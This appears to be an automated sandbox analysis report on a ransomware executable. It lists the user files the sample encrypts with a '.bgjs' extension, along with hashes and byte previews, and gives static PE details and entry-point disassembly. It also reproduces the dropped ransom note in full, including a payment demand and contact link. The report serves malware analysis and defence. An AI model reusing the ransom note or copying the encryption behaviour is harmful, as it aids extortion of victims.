C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.340101489724444
Encrypted:	false
SSDEEP:	6:fmbWITeIGfcySGNJQQWex2nqDNuy47qNYyHZ2i0wMC+AkPolWyc3cii96Z:QZT/GfcyNTx2qAV7WHZIwMjAkq1+ciik
MD5:	28A2FA4D50AF8399372B62D5F8B93A0F
SHA1:	62F54A4CAA80AD8D976D4C172DCF50D465EA24F0
SHA-256:	D7BFC8C178D3FEF25CACDBF137A13F47B26DBCC1CEAAF0F7EAA612ABEF609C3C
SHA-512:	762F83A4A94F56FFFCFB539761E654E758BD3AB0363AA629F300891C2C73AA0DF2B3D66AA430DFDDB3C0375F341835962EC2459BF75B29F0A7B540B5DA626BEF
Malicious:	false
Preview:	CMMM .%.@......3;....[^D..2#Y..u...8l.Z.V.._./..N#.x.'.bF..Yr.2X...+!.....2D..^......6....<.....gJn.....+.N./}i..b.t"'.\.}hw..r.P..V8..G.?...}&.v.;.-.M.K........t... 4..Q(.ph@.x...m...5....ZD.SW.oc.[.. ..ln&}..ak.(Nw.a..b...,...7 z.I.6....qj.R.]H..L.Q}+..e.....k+.I..m.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_exif.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.353771470142267
Encrypted:	false
SSDEEP:	6:8TiSM+khj3mBkeekxB2PaT0u1rrYQKUQl4d8TfWyc3cii96Z:8uT+Emmb82G0u9rlY5r1+cii9a
MD5:	D8AC2A11F4A0906F69D6BEEE01C327A3
SHA1:	5AF2088824B3691B5BC95DF17916986118C4A9B0
SHA-256:	DAACF2DA0738FD5711D4022B6EB67124A5AFC867B13FFBC61F9248D83F0C0C93
SHA-512:	CC122575A015071E742D758BA54D209C11CF8B0E14276D792E690C899462E8205E0D0491E9A838433C9C1365BB7DF4D500189745FCA8BE5FFDABC705BCF0AEFE
Malicious:	false
Preview:	CMMM c..&.)Q.....'y..f..G...Xy8..2a.b.S.3..7..D.=.9....9..O......[..4Z.DR.T.y....R?.F.%g..l...4W.#..+.$I(.!....i....0.-f.......[.....GV.h.+..M...u.%.........hu?s.Ju.(G~O.....o.<...e.5/..K..T.1..0P......$....o6...9...*.Z.F.\...<..4.]..C...O.t z!3.....\0..w.:S.x2...$...}.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_sr.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.294318362558065
Encrypted:	false
SSDEEP:	6:SO9eijzJ9xkp+PWJO1En0yXqcgDIakfY+2PhYLogdutieUjEm6YMjHWyc3cii96Z:SuzBkQPWJOin0yajow+2Ph5GMie1YMjG
MD5:	2AC6D70DE84FEEFAAE204B987777C0AA
SHA1:	BFBF87C4108013E0BEACE8F15B9E5B7E2FC15AF2
SHA-256:	41CF0BB097113C5369717708B6EB62559E2E57D17EA42E0403F52E346AD1C63C
SHA-512:	EDF29787C17412BD5CBF8F1F52A28984D095FBDB849129D65015FBD0DB5698A6B1AA10A151B42D7D70AFB574133631DF16260B4BD768F5004AAB4B8BD018554A
Malicious:	false
Preview:	CMMM yY...G.(;GF...6....."U..0.GSo.L....e..!.......3,P...."..t.,.."...Y...8...+..=.....B..UP.>..2Ei... V.@..).@.L.1> 9.$.4;........A.X.*0.~.Wu.V}=.C...&q...>=5.......<..B.....2..Q.....T.....r...n\|a..'...A...>f...;.i..7.Nv..{+..r...........l.80%.[..........r3rDd.?SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.268656097173448
Encrypted:	false
SSDEEP:	6:siD/74ps0pYjMoxR2Jys49J+wz1CglWcwYcGJa5dF7ioWyc3cii96Z:Vz5QoxR6qSwzcgbcVL7V1+cii9a
MD5:	8CDA1C4D704B784CDE409C7CF3A0B6E6
SHA1:	721B7D7B731354E54EC3A9555972D9296EA639B8
SHA-256:	2032D418256897A0B1863D48850421547A387D1952D39845EE86BBD6A2AB8879
SHA-512:	81B6DF16075E73E3EE4B6EAB48FF9D50F29421DE26B95D9A125B2DBBEB4A619B650AE634F77E83E9804D6A50DA761388606BA871E2DE1539CD2BF25F9E9265F7
Malicious:	false
Preview:	CMMM .q...5...+\.(...G.{.....C4.>..~5.T}..~.(6.....Ds...B.......jPB+.J..2....Yk\|.D9j2.~....E".^..uk."P.....?Kt^y.C.U..B.r9.... .S..W.{....yQ..T;.h...6.......X.J..R.F...4>...Gyp..i..9H#i...3B.Bu.#.....6...?.+$.F.o:.O)..).4...!.5cT.>.;..%........;..h..?.h..v. ..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.262934861496957
Encrypted:	false
SSDEEP:	6:YfBUwd4TzaaKgYlSVtj3UqaDMlL3tZSECEwY0dRQNrpTlDFfWyc3cii96Z:YfBJd42gv3V5NdCY0+lR1+cii9a
MD5:	D96DF55CB4F01754E06A4E5FAD562285
SHA1:	C9D6B151CA694ED2691E5B9E140760228B683478
SHA-256:	94E140B0D4A4652396D427A9EFC075F37B5CEECB2397AC38E0E3D8FDAFA06038
SHA-512:	3FFD006A57069124032B5DFDF07DAC035DD53A954CC55FCB344AFD4FAC8EB539E78DEEE829C4F228CD63519A3F75B3C008C0C9D5AF97E83196E1C430D0D2BD98
Malicious:	false
Preview:	CMMM ...z.!hwsc..).?..R.....2....S"!...1 \].H.WV..A.,...C....IxG....g.NQW:@.WE....g&!Z....P.,..}n...O..M.Z..+...Hy/./....~.1l..4..K$..&...R.I.[{.S...X....`j0..\|....u#..'.8m.I.D...;...S..j.T.......H...Sj.x.e...3.aH.$X*.I..b.8.L.[4......^..b...D.E...;X..Y.J....C..R.....m..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1280.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.259663692288325
Encrypted:	false
SSDEEP:	6:excL63/E0LF3MHz2aBanwh8XaxZ98BieA+Ht3UfXHWyc3cii96Z:UAoVWJawmXOZmt3O31+cii9a
MD5:	F84B3AB2EB703EE5854DBC2CBBAC19BF
SHA1:	720499361D63BB57E014712010FA7BC5EF93DFD8
SHA-256:	249815D471239AAF077F36B21BA59AC9F9196D98B67525396A34F37728DDBBCC
SHA-512:	DF1CBCE7E14FE405EA6A3D5A335A903BF0A6FB8EE6ADC0DF49A1DCBCEEC1D62D2F483104378FAEE69224EBFF020824252CF0704253CFBD0FA170826FA2AE915A
Malicious:	false
Preview:	CMMM .../.9.X:.....:....&........}..v.\..h....u...<........!L.C..R@.S.....B.g^.o.9{b..{.WPt.u......x@..P..3..*P0....Pl...?}...D..........j....9.DQk&j.C.~...!.dY......6.p..h........;GM.%t...&z}9.1w....?..{/....V.1.y...6mN.......m-XH.O.K<....v.v.].-4H...J).\|C.x...{...."SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1920.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.286162819154312
Encrypted:	false
SSDEEP:	6:nFLfG07seWDIwPvjUUBc0iZamzVQt3FHjet6PbI2EF5LlG5Eax+fWyc3cii96Z:nhews/1U0ifYy6P0DRu1o1+cii9a
MD5:	9105C2DCA8273B1778FA450151B9FDAE
SHA1:	13CB433DA9B1A9BB57FE30718E1C8D5216B488E1
SHA-256:	3310AAC02B868FB07BE0DC28C6C4DFD14DE7C2CCA84BA61367705134C765C741
SHA-512:	C824F3C4C7F5220737494F50FDEC18D286B9E298B0503F17B3A99E6D463E0DE6E0D340AE1DE037B2894CBA4C5C925AC75139A549B1F4721E8EFA7A41D7B2264D
Malicious:	false
Preview:	CMMM 4..m.....e.....\|6.3P.g.`$}...:......X0..r{<s.U[..@i..(..c..4....`...A..N...Xs.......j..z.@.....b........i....?."y.LP..>...T..L.y....T.....dz.a.;.V..uq...6SjE...K.....TS...i.........N. ..F....gH.BIr4.[a.h.....Sd2.H..LE/.:%.....K",..@+i.>.W..g.....a.'.p.U"..B7SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_2560.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.32818135992235
Encrypted:	false
SSDEEP:	6:69JzIEjPBScqsFfRIjveFmtmazeB8qyRYy7RCmPmDTx7aj9DEtpovr3h6//UWycn:6ZjPocq8W7eFmt/vqb6RCmPIemAvr2sm
MD5:	00EC7652224C3DDF3789B6E47CF5B79B
SHA1:	D1C0EB9C9BB7CD3DD6AD057D18733358506A87C4
SHA-256:	25E70141FA41CFF13BB87C95C7D1EB57229F3A8243D70E5D8B718B2DB18721F1
SHA-512:	68E132D8EE625A986E8EB5580D5EB653E7DEEEB48B96E60D7A88C52FDB2F7927DD171043D8A8EBC230EE8D0E4B9C7E96504D62464FD905527FFC25006E9EB246
Malicious:	false
Preview:	CMMM ...3P...g.E.K.+..6v.'X.*...(XM.=...\|x..6v..G.D.t.#.....T.N......L...Z..]...i..}[Y..%.{...\........nY....<...=...t@uy.:.i..0r}..~.l''...oD.R..`.U.n....8up..@...~h.j\|Y.4..C]...... .f6..>........k4Y."...fG..$[&..!..v.fa.4.1WN....k..J.M........"=..Z..7.r...>...5SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_32.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.768496392125795
Encrypted:	false
SSDEEP:	3072:qek4jzK5qERDPK8AYZOB/A7W8R0iKXPyCgCRpsqa0DppvjSOc2O:qek4jej9POtIW8RbuPynCRuqhvvjSOTO
MD5:	27BF4BDD14E534E62665C66FA3FB3DD7
SHA1:	4178515AFEF90277D19C25F2A94EA8C7415CF1CD
SHA-256:	AE14795D56AEFE4ACD7D93C918721B7B879217FC0535B596AC46FC4E6991F5C7
SHA-512:	47F0AC4E5F84E062AB8617B4B30806E60B4B63567426B3179FD358ECBF20CB4412597ADDB2EE771BCBA35C6F918CD96D4F87ADEF06075F4B5A013A7EB089C9A2
Malicious:	false
Preview:	CMMM ....f.9.................c3.yJ.:...W>..Y.i...n.......r...(...U..;?..S.X.5{.C<z"..g..fOJ"..X3.~..U.fpjq.kN.._...^Ca.I.r......B.fK.wb...?.x\|>.!Oe2.E7f..4.....S.FC1.-..1..Ci31.:.;YQ..5.6+...+S.5.mQ[.....h%.w9d..c..Y....l$%O......bG........V.#.c.......4y...xL`..t~..{......2....el..F.U.. .X.....MBg=0uY[...3\|...8...#7<`....t..?..S).....Z...y.m.12....>1.&1P....X....dM..M...BG.V.`D..j.E.8V~.......b...e....`.......M...;.y.m^.)=2..Y.$..+..c.!..Z....s...XJ......e..`e....6....).7)....>../.o.....-.. @.....)..>c.(.C`..l.< I>.....'......z..b`./.T.u..8EK.R.3..@.H.",.z..>.`.......T.....yc<.0O.'N.....-\....... .ZX.Ct)sz...7..j._.R.!.VR...yJ.........e...>T.......f.......:.6.jxG.f.=~.S..5..wQK."g....:.k..n.U....:.u..-.....=.....O.........W...+.:. ..%.4.....T...".cvc.-....W.3.....].0..a..u..X........C@...!/........rlk.0@}2..R....^....o.E.(......w..nm.....:.\.2MUD...8..z...>.3ZU.B..`..m.j.PuH.}.n.l._.Q.._.:.6..3......-a..{.<.eZ<.0.#..^%S].'....d....<d~H....]a

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_768.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.307490953297886
Encrypted:	false
SSDEEP:	6:cY7UFNAnQmNFAvN57pTcM1CU8GW9LDxmt+XHBnZeDRiQdVzKx24ZWyc3cii96Z:cY7UAnhEN59cVZ9LDEsBnZuge62G1+cq
MD5:	23867ECB82F0638231B124B234F3714B
SHA1:	B45B582523B6220CAAF18C92CDADEA04D60995B5
SHA-256:	5B4B8E4D1DD3CE5955CC4D980ABE630DD44823035D0DCCDA8A35EB6DAC5AAA7C
SHA-512:	051CF2613B9D55E48DEEA50816F73CC3E54D5EE4BCB36CE4A9B871036D7E0F6D49498AF5C243D338FAFBDE75C8DFBC458105DD3F8FB0D454370AABB42528FBA0
Malicious:	false
Preview:	CMMM ..].-.u...s...o..XBI........m...#m\..DW{o...*pv.Bwa.X.%........"./.b..J)........Q..`..FG...v(.}..k.....].v..z.,.7........a.!e^.....3.......4..&.>.]..2...o..v........i.....H.#lxS..i.V..:>qP.......@..mY..U.Q.....6Z......qan0.cIs^......b.m....%.d.3.q.....9..x..d%SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.9916374527707745
Encrypted:	true
SSDEEP:	384:e9zUzvCN4faF8Q9NBx0bAtE/n/z2HcRR0MnR4FsRWyn5TOTY2jjCKogLBL7Sxv:e9zUzPx4nKEtyL28EsR46RW+TAzyxv
MD5:	A28A3042EF2BB5BCBD064C49C1A78DD8
SHA1:	61F312806322C64693B2C6091B0D4DCF9728142D
SHA-256:	1FE2B191D3C1FDD97504908CAF9EBB8DC4E36BCAAD413A6D0DAD0402084E6541
SHA-512:	A907D665B7751112F7118C6265FC3C7569EEDA5BA1B999B1ADA92BCA7FFF4CDE251AB94E76A0976A5D531B518D53763775E5796469A03A62FA69406F41DF3EF7
Malicious:	true
Preview:	.....`./%.b.x.s.mv..].g.5.I...z}(w.......v. ..h.,.I......~...6....H...K.G..T...N........b.1..-.KND..?..d#\|..e..n..6./...v..K..4C.D.Hf....$.IE..>...V.~..2C.7.ej:Q}......z...A>...-..y..4.. CT8....u.j$..+..FV..Q...yfM.c{...b.)$....#...Yfuh.4.a..#.1.........D..#...(......eP.8}.\|....`.-.1.k.{. ..{.X.pXL'...b. .g..TF..K:O.1.M........L....9.2=$.....vicMRjLp....+j.....e.%...C..s#...n`...z..F9"...O..-(..aL(...g,.....h.i..J4...yTHym.3r..v.....-..]...........;.Mr.R.....t.TSK.e. ...q\a+k+.. .....Bh+..Rj..ER.4.r+l..zXl.$.,..........j.. ..+....^..[.!..7...A..Sm..u`...:...xc.Y.\.(......j..foF...t._5.\...\|.k.J.6.6....?....t.Y....N\|....q....^.+...D..l.....p..b^Y.....s.x.....w.i..l..j..8]..8aW.2.l...?...t.T+Ty.P`FBH<.'p..sYD..>..$..3.~....^.5......k../..}.s.M.%......S..._.J...q.A.\|.~...'.o...Pq..p....V:...U.e.B....hWZ.YA..8.I....\|_.ox..e..09]<.A../GVa....>...&{....&.c.4..$...e.,.5.v/.T]...C.R^:....J;\.....:K.3B...0..DO1.o......q...>..].N.."..nq.@.

C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992254758098392
Encrypted:	true
SSDEEP:	384:nXBo1b/sjULyMbL6pV33JZXjwekiYcGFTtesgIMgPS2AFux/7rkYv44mTMgQ03Ov:nXMwwLyMfujPF8t2E/7rbApTMg7dzE
MD5:	077F4A38BB69EA96E6AB1DFBD18D1151
SHA1:	32E27D7D4F40ED45EED2713F40212EEF1A61C37C
SHA-256:	BD6B2E622F23C87832EE04CC004A08BD5660B7C988E7A4D77719434F50350DB9
SHA-512:	C5FCD5AAED43A34BFB844D2B6EE8354833E467EFB5C493DF72D66CD885B3D319D3B17C1AB1F41D3456EE487B6DB60C1C8AF6BB39FB2867DBBBC61F9652EADFB9
Malicious:	true
Preview:	03-10X.R.].&.X.j.?,...K..0..]........H...#....^=yHz.....+...t...E...]..<.":.3.R..U...2S....C,...k.....O^.1}....1.".........%].......... .[.K.@.A..E.5$.h.....8..2.'Y{..u..l.,.&.4i.Z..#..a........kHL..4.fO\|.........e....vH..6.s^....M.sD!.....=X....0..Wi...m.`u..:LN.B."B]...].....!`..:..KA..j..a...f.$.J...K....O...peC[..:..~.O.I.N.gp?...O..$6..`.I>..-l...O..6F.u.:......1{..d.eb...S.lIe.J.>..._Y..c0Q...2....x.......n..\|.K...<.J...y.x..)...).}...=.H...^....`.....!.=_v.V.,.C.o.....0-.J..i\|.9.......5.s..\.J....mX0c....../.;...I.xMs.s...KR.D..m...}.......%....&3....=.\@Fv0AP.P.CYf._...R......XS?..3..IS..V....Z .......LY.9..$..9...U..h..}+...Kqz>$m@R...y.H."..k..oi..N,.....K.....f.A..R4.....Su)cG.ocCKN.V...'..%.}8`U.....f#y.$..d...>..=....ID..xv..vv.._5V...P.k.heCU.1../...[{..S..$....!@..S....e..$..5z....p..8..x.?...G...\|.$.l>...`..k.b....E.Q.4.d..%dF.e.Q1....v{.1.uu.....w.y.e.Hx..Eq.)k'.R''...-.{a.%Vc....(...M4...!...M.iS..A..J.,......

C:\Users\user\Local Settings\bowsakkdestx.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.7502014731526145
Encrypted:	false
SSDEEP:	24:YWMq9rlJ52Fa0jDVEFT3XNwP0AzNR3WBbTbD:YWMq9lmFaaV03XNwPVL3WD
MD5:	1941B8C2076C506BE2467AFD291DADF2
SHA1:	D246403B51DAE6CFFB2F2216D473FB8F05ABE5A3
SHA-256:	D4CAC73D8FE42F1F468B4AC7C7B9674471E81DA7DE00372C41690BD22851F47F
SHA-512:	69515E0B2EB716D0406711666F41C21859DFEA8F0DEC9A209A2BE2DB221C656218A24A4EBB92BCCF24F1F7E3CC1D8A7F087EEC569F9B805CD4CC40D0F8379491
Malicious:	false
Preview:	{"pub..+=z.ze.$.-.k.XM{v....E...x.\..c...#zSV......'...\.R..."..w....g..z.16I'.M7.qA...Ka.J. .<...K..9....Ao..(.kL.gNp.............m.....Y..A....!..........k..\...!.".....'....q..y.......=.>.Y.....r..'($....R.....6]..>..%k...U'+.....o.{$....."....&..I..[+.;.6.......U....p.;.F.{.\...>C..f%.^......l...K..5=Z..+x..U....SG^P.OR.R.w..X..U......_..mA..:.sk[...x...Yv.I^e..Fy..b..t.p.]..\|...0.- ..:.n.."...L.`.GL....J=......&g.4......Fv...b......w+..H....A...8.9.E2'.Mp..<.`%.>x.;(r.3{.f..B>4.-..Gk}..<..`IiYk..?}:.v+f.O$....+...yq.3@O.....5.:j.a...w.].w.<..g....3........."....j.m(.......5I:.0......#....2.U.8....W....>...`.w. 3...C.%0.{J..{..]....].rRlE.....;s.0un....!T^P....;.c....ev.......-..0..}L..)w.[Z.,..V....Pg9S.c.j..W.l.3...-..M_Q..G.I.)..Z....{K.On..p..X.#SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\_README.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.894830319422743
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3j:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kU
MD5:	153B09F9C8FC32C5A25E92A00ED05ABB
SHA1:	72BFC185DE8F4F400218F88B896EE8C5D95006BE
SHA-256:	346083BFC7E3CBC8684F762F8BF844BEE94FA6C77D5BE9CA84B14356C7F1DB93
SHA-512:	C50B92F597F0634A086BF5F92855370ED2B7D84E9ADA45C53BC3CC97A486CD17C8144C675CE8EEBE0730347F8AB02E6B31D2F3D721DB104616002B7425E2C976
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.623584649703693
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	AaIo4VGgvO.exe
File size:	836'096 bytes
MD5:	9f91afdb58b312a555db2978d7157150
SHA1:	96d3de3ac3ca32efcc3d911b0389e13f43ae1c13
SHA256:	946e4a86f1cb22fab17f7e3a9a0422421e781b99357436e816ddb00e5154ed48
SHA512:	9596e362858b1484cb6e566cac32c394a9e26b2cbc278afa14e046a9dc0d12b75ae1e76e71d43cc6287e64a47eec35328275aa86f3cbec7c6c0dc836ca5608ca
SSDEEP:	12288:E6uXncCdGzaVsGgZLhq1At2krFYkWog9feZN7kF5MM7GZ3SVt//sjdnN7E:EncKWa+jZRrFVWBfFFHQa187
TLSH:	DD05024372E16CA5E476E7324D2ECAB0172EFDF19E266BA73348561F48741D1C2A3B12
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%G..a&.La&.La&.Llt`L\|&.Llt_L.&.Llt^LM&.Lh^,Lf&.La&.L.&.L..ZL`&.LltdL`&.L..aL`&.LRicha&.L................PE..L....Q.c...........

File Icon


Icon Hash:	652145454545610d

Static PE Info

General

Entrypoint:	0x403f6f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63FE51E8 [Tue Feb 28 19:11:36 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	0d1ba1b7736d2e87a8c9ef2f7961e417

Entrypoint Preview

Instruction
call 00007F5BA491D675h
jmp 00007F5BA4918AE5h
push 00000014h
push 00418880h
call 00007F5BA4919DE0h
call 00007F5BA491D846h
movzx esi, ax
push 00000002h
call 00007F5BA491D608h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F5BA4918AE6h
xor ebx, ebx
jmp 00007F5BA4918B15h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F5BA4918ACDh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F5BA4918ABFh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F5BA4918AEBh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F5BA491D07Bh
test eax, eax
jne 00007F5BA4918AEAh
push 0000001Ch
call 00007F5BA4918BC1h
pop ecx
call 00007F5BA491CFD7h
test eax, eax
jne 00007F5BA4918AEAh
push 00000010h
call 00007F5BA4918BB0h
pop ecx
call 00007F5BA491D681h
and dword ptr [ebp-04h], 00000000h
call 00007F5BA491AEB1h
test eax, eax
jns 00007F5BA4918AEAh
push 0000001Bh
call 00007F5BA4918B96h
pop ecx
call dword ptr [004110B8h]
mov dword ptr [0409FD5Ch], eax
call 00007F5BA491D69Ch
mov dword ptr [004B22ACh], eax
call 00007F5BA491D03Fh
test eax, eax
jns 00007F5BA4918AEAh

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x18cb4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3ca0000	0x1b4b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11200	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x181f0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x18c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xfd98	0xfe00	1f6cdc160d0b1b7a49b9509f6382f191	False	0.6034079724409449	data	6.716309001504598	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x85d4	0x8600	c8011ce8f6f0afef1a2e91665ad9c954	False	0.455136427238806	OpenPGP Public Key	5.131245157671898	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1a000	0x3c85d60	0x98400	f2283015b5adaca454003b79e1a9fd1d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3ca0000	0x1b4b0	0x1b600	19d7697a8f0bfc689af8c78a04624ea6	False	0.4819581192922374	data	5.490284218818137	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x3cb9bf0	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x3cb9c00	0xe	data			1.5714285714285714
RT_ICON	0x3ca08c0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.5668976545842217
RT_ICON	0x3ca1768	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.5496389891696751
RT_ICON	0x3ca2010	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.6192196531791907
RT_ICON	0x3ca2578	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.46078838174273856
RT_ICON	0x3ca4b20	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4866322701688555
RT_ICON	0x3ca5bc8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.49508196721311476
